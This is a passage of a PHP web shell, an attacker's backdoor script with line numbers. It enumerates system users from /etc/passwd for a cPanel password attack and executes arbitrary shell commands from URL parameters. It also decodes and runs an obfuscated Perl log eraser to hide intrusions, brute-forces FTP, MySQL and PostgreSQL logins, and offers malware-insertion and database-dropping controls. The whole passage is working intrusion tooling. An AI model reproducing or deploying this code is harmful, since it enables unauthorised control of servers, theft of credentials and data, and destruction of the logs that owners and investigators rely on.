  5435. ?>
  5436. <center>
  5437. <form method=post>
  5438. <table class="btmtbl" style="width:50%;" border=1 cellpadding=4>
  5439. <tr>
  5440. <td align=center>User names</td><td align=center>Password</td>
  5441. </tr>
  5442. <tr>
  5443. <td align=center><textarea name=username rows=25 cols=22 class=box><?php
  5444. if($os != "Windows")
  5445. {
  5446. if(@file('/etc/passwd'))
  5447. {
  5448. $users = file('/etc/passwd');
  5449. foreach($users as $user)
  5450. {
  5451. $user = explode(':', $user);
  5452. echo $user[0] . "\n";
  5453. }
  5454. }
  5455. else
  5456. {
  5457. $temp = "";
  5458. $val1 = 0;
  5459. $val2 = 1000;
  5460. for(;$val1 <= $val2;$val1++)
  5461. {
  5462. $uid = @posix_getpwuid($val1);
  5463. if ($uid)
  5464. $temp .= join(':',$uid)."\n";
  5465. }
  5466.  
  5467. $temp = trim($temp);
  5468.  
  5469. if($file5 = fopen("test.txt","w"))
  5470. {
  5471. fputs($file5,$temp);
  5472. fclose($file5);
  5473.  
  5474. $file = fopen("test.txt", "r");
  5475. while(!feof($file))
  5476. {
  5477. $s = fgets($file);
  5478. $matches = array();
  5479. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  5480. $matches = str_replace("home/","",$matches[1]);
  5481. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  5482. continue;
  5483. echo $matches;
  5484. }
  5485. fclose($file);
  5486. }
  5487. }
  5488. }
  5489.  
  5490. ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
  5491. </tr>
  5492. <tr>
  5493. <td align=center colspan=2><input type="submit" name="cpanelattack" value=" Go " class=but></td>
  5494. </tr>
  5495. </table>
  5496. </form>
  5497. </center>
  5498. <?php
  5499. }
  5500. else if(isset($_REQUEST['malattack']))
  5501. {
  5502. ?><input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
  5503. <center><table><tr><td><a href=# onClick="getdata('malware')"><font class=txt size="4">| Malware Attack |</font></a></td>
  5504. <td><a href=# onClick="getdata('codeinsert')"><font class=txt size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
  5505. <div id="showdata"></div>
  5506. <?php
  5507. }
  5508. else if(isset($_GET["com"]))
  5509. {
  5510. echo "<br>";
  5511. ob_start();
  5512. eval("phpinfo();");
  5513. $b = ob_get_contents();
  5514. ob_end_clean();
  5515. $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
  5516. $z = strpos($b,"</body>");
  5517. $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
  5518. echo $s_result;
  5519. }
  5520. else if(isset($_GET['execute']))
  5521. {
  5522. $comm = $_GET['execute'];
  5523. chdir($_GET['executepath']);
  5524. $check = shell_exec($comm);
  5525.  
  5526. echo "<BR><center><textarea id=showexecute cols=100 rows=20 class=box>" . $check . "</textarea></center>";
  5527.  
  5528. ?>
  5529. <BR><BR><center><form onSubmit="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value);return false;">
  5530. <input type="text" class="box" name="execute">
  5531. <input type="button" onClick="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value)" value="Execute" class="but">
  5532. <input type="button" onClick="cancel()" value="cancel" class="but" /></form></center><BR>
  5533. <?php
  5534. }
  5535. else if(isset($_GET['mycmd']))
  5536. {
  5537. if($_GET['mycmd']=="logeraser")
  5538. {
  5539. $erase = gzinflate(base64_decode("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"));
  5540. if(is_writable("."))
  5541. {
  5542. if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
  5543. {
  5544. fwrite($openp, $erase);
  5545. fclose($openp);
  5546. passthru("perl logseraser.pl linux");
  5547. unlink("logseraser.pl");
  5548. echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  5549. }
  5550. } else
  5551. {
  5552. if($openp = fopen("/tmp/logseraser.pl", 'w'))
  5553. {
  5554. fwrite($openp, $erase)or die("Error");
  5555. fclose($openp);
  5556. $aidx = passthru("perl logseraser.pl linux");
  5557. unlink("logseraser.pl");
  5558. echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  5559. }
  5560. }
  5561. }
  5562. else
  5563. {
  5564. $check = shell_exec($_GET['mycmd']);
  5565. echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
  5566.  
  5567. }
  5568. }
  5569. else if(isset($_GET['prototype']))
  5570. {
  5571. echo '<h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
  5572. if( $_GET['prototype'] == 'ftp' )
  5573. {
  5574. function BruteFun($ip,$port,$login,$pass)
  5575. {
  5576. $fp = @ftp_connect($ip, $port?$port:21);
  5577. if(!$fp) return false;
  5578. $res = @ftp_login($fp, $login, $pass);
  5579. @ftp_close($fp);
  5580. return $res;
  5581. }
  5582. }
  5583. elseif( $_GET['prototype'] == 'mysql' )
  5584. {
  5585. function BruteFun($ip,$port,$login,$pass)
  5586. {
  5587. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  5588. @mysql_close($res);
  5589. return $res;
  5590. }
  5591. }
  5592. elseif( $_GET['prototype'] == 'pgsql' )
  5593. {
  5594. function BruteFun($ip,$port,$login,$pass)
  5595. {
  5596. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  5597. $res = @pg_connect($str);
  5598. @pg_close($res);
  5599. return $res;
  5600. }
  5601. }
  5602.  
  5603. $success = 0;
  5604. $attempts = 0;
  5605. $server = explode(":", $_GET['server']);
  5606.  
  5607. if($_GET['type'] == 1)
  5608. {
  5609. $temp = @file('/etc/passwd');
  5610. if( is_array($temp))
  5611. foreach($temp as $line)
  5612. {
  5613. $line = explode(":", $line);
  5614. ++$attempts;
  5615. if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
  5616. {
  5617. $success++;
  5618. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  5619. }
  5620. if(@$_GET['reverse'])
  5621. {
  5622. $tmp = "";
  5623. for($i=strlen($line[0])-1; $i>=0; --$i)
  5624. $tmp .= $line[0][$i];
  5625. ++$attempts;
  5626. if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
  5627. {
  5628. $success++;
  5629. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  5630. }
  5631. }
  5632. }
  5633. }
  5634. elseif($_GET['type'] == 2)
  5635. {
  5636. $temp = @file($_GET['dict']);
  5637. if( is_array($temp) )
  5638. foreach($temp as $line)
  5639. {
  5640. $line = trim($line);
  5641. ++$attempts;
  5642. if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
  5643. {
  5644. $success++;
  5645. echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
  5646. }
  5647. }
  5648. }
  5649. echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div>";
  5650. }
  5651. // Execute Query
  5652. else if(isset($_GET["executeit"]))
  5653. {
  5654. if(isset($_GET['username']) && isset($_GET['server']))
  5655. {
  5656. $dbserver = $_GET['server'];
  5657. $dbuser = $_GET['username'];
  5658. $dbpass = $_GET['password'];
  5659. if(mysql_connect($dbserver,$dbuser,$dbpass))
  5660. {
  5661. setcookie("dbserver", $dbserver);
  5662. setcookie("dbuser", $dbuser);
  5663. setcookie("dbpass", $dbpass);
  5664.  
  5665. listdatabase();
  5666. }
  5667. else
  5668. echo "cannotconnect";
  5669. }
  5670. }
  5671. else if(isset($_GET['action']) && isset($_GET['dbname']))
  5672.  
  5673.  
  5674. {
  5675. if($_GET['action'] == "createDB")
  5676. {
  5677. $dbname = $_GET['dbname'];
  5678. $dbserver = $_COOKIE["dbserver"];
  5679. $dbuser = $_COOKIE["dbuser"];
  5680. $dbpass = $_COOKIE["dbpass"];
  5681. $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  5682. mysql_query("create database $dbname",$mysqlHandle);
  5683. listdatabase();
  5684. }
  5685. if($_GET['action'] == 'dropDB')
  5686. {
  5687. $dbname = $_GET['dbname'];
  5688. $dbserver = $_COOKIE["dbserver"];
  5689. $dbuser = $_COOKIE["dbuser"];
  5690. $dbpass = $_COOKIE["dbpass"];
  5691. $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  5692. mysql_query("drop database $dbname",$mysqlHandle);
  5693. mysql_close($mysqlHandle);
  5694. listdatabase();
  5695. }
  5696.  
  5697. if($_GET['action'] == 'listTables')
  5698. {
  5699. listtable();
  5700. }
  5701.  
  5702. // Create Tables
  5703. if($_GET['action'] == "createtable")
  5704. {
  5705. $dbserver = $_COOKIE["dbserver"];
  5706. $dbuser = $_COOKIE["dbuser"];
  5707. $dbpass = $_COOKIE["dbpass"];
  5708. $dbname = $_GET['dbname'];
  5709. $tablename = $_GET['tablename'];
  5710. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  5711. mysql_select_db($dbname);
  5712. mysql_query("CREATE TABLE $tablename ( no INT )");
  5713. listtable();
  5714. }
  5715.  
  5716. // Drop Tables
  5717. if($_GET['action'] == "dropTable")
  5718. {
  5719. $dbserver = $_COOKIE["dbserver"];
  5720. $dbuser = $_COOKIE["dbuser"];
  5721. $dbpass = $_COOKIE["dbpass"];
  5722. $dbname = $_GET['dbname'];
  5723. $tablename = $_GET['tablename'];
  5724. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  5725. mysql_select_db($dbname);
  5726. mysql_query("drop table $tablename");
  5727. listtable();
  5728. }
  5729.  
  5730. // Empty Tables
  5731. if($_GET['action'] == "empty")
  5732. {
  5733. $dbserver = $_COOKIE["dbserver"];
  5734. $dbuser = $_COOKIE["dbuser"];
  5735. $dbpass = $_COOKIE["dbpass"];
  5736. $dbname = $_GET['dbname'];
  5737. $tablename = $_GET['tablename'];
  5738. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  5739. mysql_select_db($dbname);
  5740. mysql_query("delete from $tablename");
  5741. listtable();
  5742. }
  5743.  
  5744. // Empty Tables
  5745. if($_GET['action'] == "dropField")
  5746. {
  5747. $dbserver = $_COOKIE["dbserver"];
  5748. $dbuser = $_COOKIE["dbuser"];
  5749. $dbpass = $_COOKIE["dbpass"];
  5750. $dbname = $_GET['dbname'];
  5751. $tablename = $_GET['tablename'];
  5752. $fieldname = $_GET['fieldname'];
  5753. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  5754. mysql_select_db($dbname);
  5755. $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  5756. mysql_select_db( $dbname, $mysqlHandle );
  5757. mysql_query( $queryStr , $mysqlHandle );
  5758. listtable();
  5759. }
  5760.  
  5761. if($_GET['action'] == 'viewdb')
  5762. {
  5763. listdatabase();
  5764. }
  5765.  
  5766. // View Table Schema
  5767. if($_GET['action'] == "viewSchema")
  5768. {
  5769. $dbserver = $_COOKIE["dbserver"];
  5770. $dbuser = $_COOKIE["dbuser"];
  5771. $dbpass = $_COOKIE["dbpass"];
  5772. $dbname = $_GET['dbname'];
  5773. $tablename = $_GET['tablename'];
  5774. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  5775. mysql_select_db($dbname);
  5776. echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  5777. $pResult = mysql_query( "SHOW fields FROM $tablename" );
  5778. $num = mysql_num_rows( $pResult );
  5779. echo "<br><br><table class=btmtbl align=center cellspacing=4 style='width:80%;' border=1>";
  5780. echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
  5781. for( $i = 0; $i < $num; $i++ )
  5782. {
  5783. $field = mysql_fetch_array( $pResult );
  5784. echo "<tr>\n";
  5785. echo "<td>".$field["Field"]."</td>\n";
  5786. echo "<td>".$field["Type"]."</td>\n";
  5787. echo "<td>".$field["Null"]."</td>\n";
  5788. echo "<td>".$field["Key"]."</td>\n";
  5789. echo "<td>".$field["Default"]."</td>\n";
  5790. echo "<td>".$field["Extra"]."</td>\n";
  5791. $fieldname = $field["Field"];
  5792. echo "<td><a href=# onClick=\"viewtables('dropField','$dbname','$tablename','','','','$fieldname')\">Drop</a></td>\n";
  5793. echo "</tr>\n";
  5794. }
  5795. echo "</table>";
  5796. echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  5797. }
  5798.  
  5799. // Execute Query
  5800. if($_GET['action'] == "executequery")
  5801. {
  5802. $dbserver = $_COOKIE["dbserver"];
  5803. $dbuser = $_COOKIE["dbuser"];
  5804. $dbpass = $_COOKIE["dbpass"];
  5805. $dbname = $_GET['dbname'];
  5806. $tablename = $_GET['tablename'];
  5807. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  5808. mysql_select_db($dbname);
  5809. $result = mysql_query($_GET['executemyquery']);
  5810.  
  5811. // results
  5812. echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table border =\"1\">\r\n";
  5813.  
  5814. $count = 0;
  5815. while ($row = mysql_fetch_assoc($result))
  5816. {
  5817. echo "<tr>\r\n";
  5818.  
  5819. if ($count==0) // list column names
  5820. {
  5821. echo "<tr>\r\n";
  5822. while($key = key($row))
  5823. {
  5824. echo "<td><b>" . $key . "</b></td>\r\n";
  5825. next($row);
  5826. }
  5827. echo "</tr>\r\n";
  5828. }
  5829.  
  5830. foreach($row as $r) // list content of column names
  5831. {
  5832. if ($r=='') $r = '<font >NULL</font>';
  5833. echo "<td><font class=txt>" . $r . "</font></td>\r\n";
  5834. }
  5835. echo "</tr>\r\n";
  5836. $count++;
  5837. }
  5838. echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
  5839. echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  5840. }
  5841.  
  5842. // View Table Data
  5843. if($_GET['action'] == "viewdata")
  5844. {
  5845. global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  5846. $dbserver = $_COOKIE["dbserver"];
  5847. $dbuser = $_COOKIE["dbuser"];
  5848. $dbpass = $_COOKIE["dbpass"];
  5849. $dbname = $_GET['dbname'];
  5850. $tablename = $_GET['tablename'];
  5851. echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  5852. ?>
  5853. <br><br>
  5854. <form>
  5855. <table>
  5856. <tr>
  5857. <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  5858. </tr>
  5859. <tr>
  5860. <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
  5861. </tr>
  5862. </table>
  5863. </form>
  5864. <?php
  5865. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  5866. mysql_select_db($dbname);
  5867.  
  5868. $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
  5869. $row = mysql_fetch_array($sql);
  5870. $rowid = $row['COLUMN_NAME'];
  5871.  
  5872. echo "<br><font size=4>Data in Table</font><br>";
  5873. if( $tablename != "" )
  5874. echo "<font size=3 class=txt>$dbname &gt; $tablename</font><br>";
  5875. else
  5876. echo "<font size=3 class=txt>$dbname</font><br>";
  5877.  
  5878. $queryStr = "";
  5879. $pag = 0;
  5880. $queryStr = stripslashes( $queryStr );
  5881. if( $queryStr == "" )
  5882. {
  5883. if(isset($_REQUEST['page']))
  5884. {
  5885. $res = mysql_query("select * from $tablename");
  5886. $getres = mysql_num_rows($res);
  5887. $coun = ceil($getres/30);
  5888. if($_REQUEST['page'] != 1)
  5889.  
  5890. $pag = $_REQUEST['page'] * 30;
  5891. else
  5892. $pag = $_REQUEST['page'] * 30;
  5893.  
  5894. $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
  5895. $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
  5896. $arrcount = 1;
  5897. $arrdata[$arrcount] = 0;
  5898. while($row = mysql_fetch_array($sql))
  5899. {
  5900. $arrdata[$arrcount] = $row[$rowid];
  5901. $arrcount++;
  5902. }
  5903. }
  5904. else
  5905. {
  5906. $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
  5907. $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
  5908. $arrcount = 1;
  5909. $arrdata[$arrcount] = 0;
  5910. while($row = mysql_fetch_array($sql))
  5911. {
  5912. $arrdata[$arrcount] = $row[$rowid];
  5913. $arrcount++;
  5914. }
  5915. }
  5916. if( $orderby != "" )
  5917. $queryStr .= " ORDER BY $orderby";
  5918. echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\"><font size=3>Schema</font></a>\n";
  5919. }
  5920.  
  5921.  
  5922. $pResult = mysql_query($queryStr );
  5923. $fieldt = mysql_fetch_field($pResult);
  5924. $tablename = $fieldt->table;
  5925. $errMsg = mysql_error();
  5926.  
  5927. $GLOBALS[queryStr] = $queryStr;
  5928.  
  5929. if( $pResult == false )
  5930. {
  5931. echoQueryResult();
  5932. return;
  5933. }
  5934. if( $pResult == 1 )
  5935. {
  5936. $errMsg = "Success";
  5937. echoQueryResult();
  5938. return;
  5939. }
  5940.  
  5941. echo "<hr color='#1B1B1B'>\n";
  5942.  
  5943. $row = mysql_num_rows( $pResult );
  5944. $col = mysql_num_fields( $pResult );
  5945.  
  5946. if( $row == 0 )
  5947. {
  5948. echo "<font size=3>No Data Exist!</font>";
  5949. return;
  5950. }
  5951.  
  5952. if( $rowperpage == "" ) $rowperpage = 30;
  5953. if( $page == "" ) $page = 0;
  5954. else $page--;
  5955. mysql_data_seek( $pResult, $page * $rowperpage );
  5956.  
  5957. echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 align=center>\n";
  5958. echo "<tr>\n";
  5959. for( $i = 0; $i < $col; $i++ )
  5960. {
  5961. $field = mysql_fetch_field( $pResult, $i );
  5962. echo "<th>";
  5963. if($action == "viewdata")
  5964. echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  5965. else
  5966. echo $field->name."\n";
  5967. echo "</th>\n";
  5968. }
  5969. echo "<th colspan=2>Action</th>\n";
  5970. echo "</tr>\n";
  5971. $num=1;
  5972.  
  5973.  
  5974. $acount = 1;
  5975.  
  5976. for( $i = 0; $i < $rowperpage; $i++ )
  5977. {
  5978. $rowArray = mysql_fetch_row( $pResult );
  5979. if( $rowArray == false ) break;
  5980. echo "<tr>\n";
  5981. $key = "";
  5982. for( $j = 0; $j < $col; $j++ )
  5983. {
  5984. $data = $rowArray[$j];
  5985.  
  5986. $field = mysql_fetch_field( $pResult, $j );
  5987. if( $field->primary_key == 1 )
  5988. $key .= "&" . $field->name . "=" . $data;
  5989.  
  5990. if( strlen( $data ) > 30 )
  5991. $data = substr( $data, 0, 30 ) . "...";
  5992. $data = htmlspecialchars( $data );
  5993. echo "<td>\n";
  5994. echo "<font class=txt>$data</font>\n";
  5995. echo "</td>\n";
  5996. }
  5997.  
  5998. if(!is_numeric($arrdata[$acount]))
  5999. echo "<td colspan=2>No Key</td>\n";
  6000. else
  6001. {
  6002. echo "<td><a href=# onClick=\"viewtables('editData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Edit</a></td>\n";
  6003. echo "<td><a href=# onClick=\"viewtables('deleteData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Delete</a></td>\n";
  6004. $acount++;
  6005. }
  6006. }
  6007. echo "</tr>\n";
  6008.  
  6009.  
  6010. echo "</table>";
  6011. if($arrcount > 30)
  6012. {
  6013. $res = mysql_query("select * from $tablename");
  6014. $getres = mysql_num_rows($res);
  6015. $coun = ceil($getres/30);
  6016. echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
  6017. for($i=0;$i<$coun;$i++)
  6018. echo "<option value=$i>$i</option>";
  6019.  
  6020. echo "</select> <input type=button onClick=\"viewtables('viewdata','$dbname','$tablename','','','','',page.value)\" value=Go class=but></form>";
  6021. echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  6022. }
  6023. }
  6024.  
  6025. // Delete Table Data
  6026. if($_GET['action'] == "deleteData")
  6027. {
  6028. $dbserver = $_COOKIE["dbserver"];
  6029. $dbuser = $_COOKIE["dbuser"];
  6030. $dbpass = $_COOKIE["dbpass"];
  6031. $dbname = $_GET['dbname'];
  6032. $tablename = $_GET['tablename'];
  6033. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  6034. mysql_select_db($dbname);
  6035. $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
  6036. $row = mysql_fetch_array($sql);
  6037. $row = $row['COLUMN_NAME'];
  6038. $rowid = $_GET[$row];
  6039. mysql_query("delete from $tablename where $row = '$rowid'");
  6040. listtable();
  6041. }
  6042. // Edit Table Data
  6043. if($_GET['action'] == "editData")
  6044. {
  6045. global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  6046. $dbserver = $_COOKIE["dbserver"];
  6047. $dbuser = $_COOKIE["dbuser"];
  6048. $dbpass = $_COOKIE["dbpass"];
  6049. $dbname = $_GET['dbname'];
  6050. $tablename = $_GET['tablename'];
  6051. echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  6052. ?>
  6053. <br><br>
  6054. <form action="<?php echo $self; ?>" method="post">
  6055. <?php
  6056. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  6057. mysql_select_db($dbname);
  6058.  
  6059. $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
  6060. $row = mysql_fetch_array($sql);
  6061. $row = $row['COLUMN_NAME'];
  6062. $rowid = $_GET[$row];
  6063.  
  6064. $pResult = mysql_list_fields( $dbname, $tablename );
  6065. $num = mysql_num_fields( $pResult );
  6066.  
  6067. $key = "";
  6068. for( $i = 0; $i < $num; $i++ )
  6069. {
  6070. $field = mysql_fetch_field( $pResult, $i );
  6071. if( $field->primary_key == 1 )
  6072. if( $field->numeric == 1 )
  6073. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  6074. else
  6075. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  6076. }
  6077. $key = substr( $key, 0, strlen($key)-4 );
  6078.  
  6079. mysql_select_db( $dbname, $mysqlHandle );
  6080. $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
  6081. $data = mysql_fetch_array( $pResult );
  6082.  
  6083. echo "<table class=btmtbl cellspacing=1 cellpadding=2 border=1>\n";
  6084. echo "<tr>\n";
  6085. echo "<th>Name</th>\n";
  6086. echo "<th>Type</th>\n";
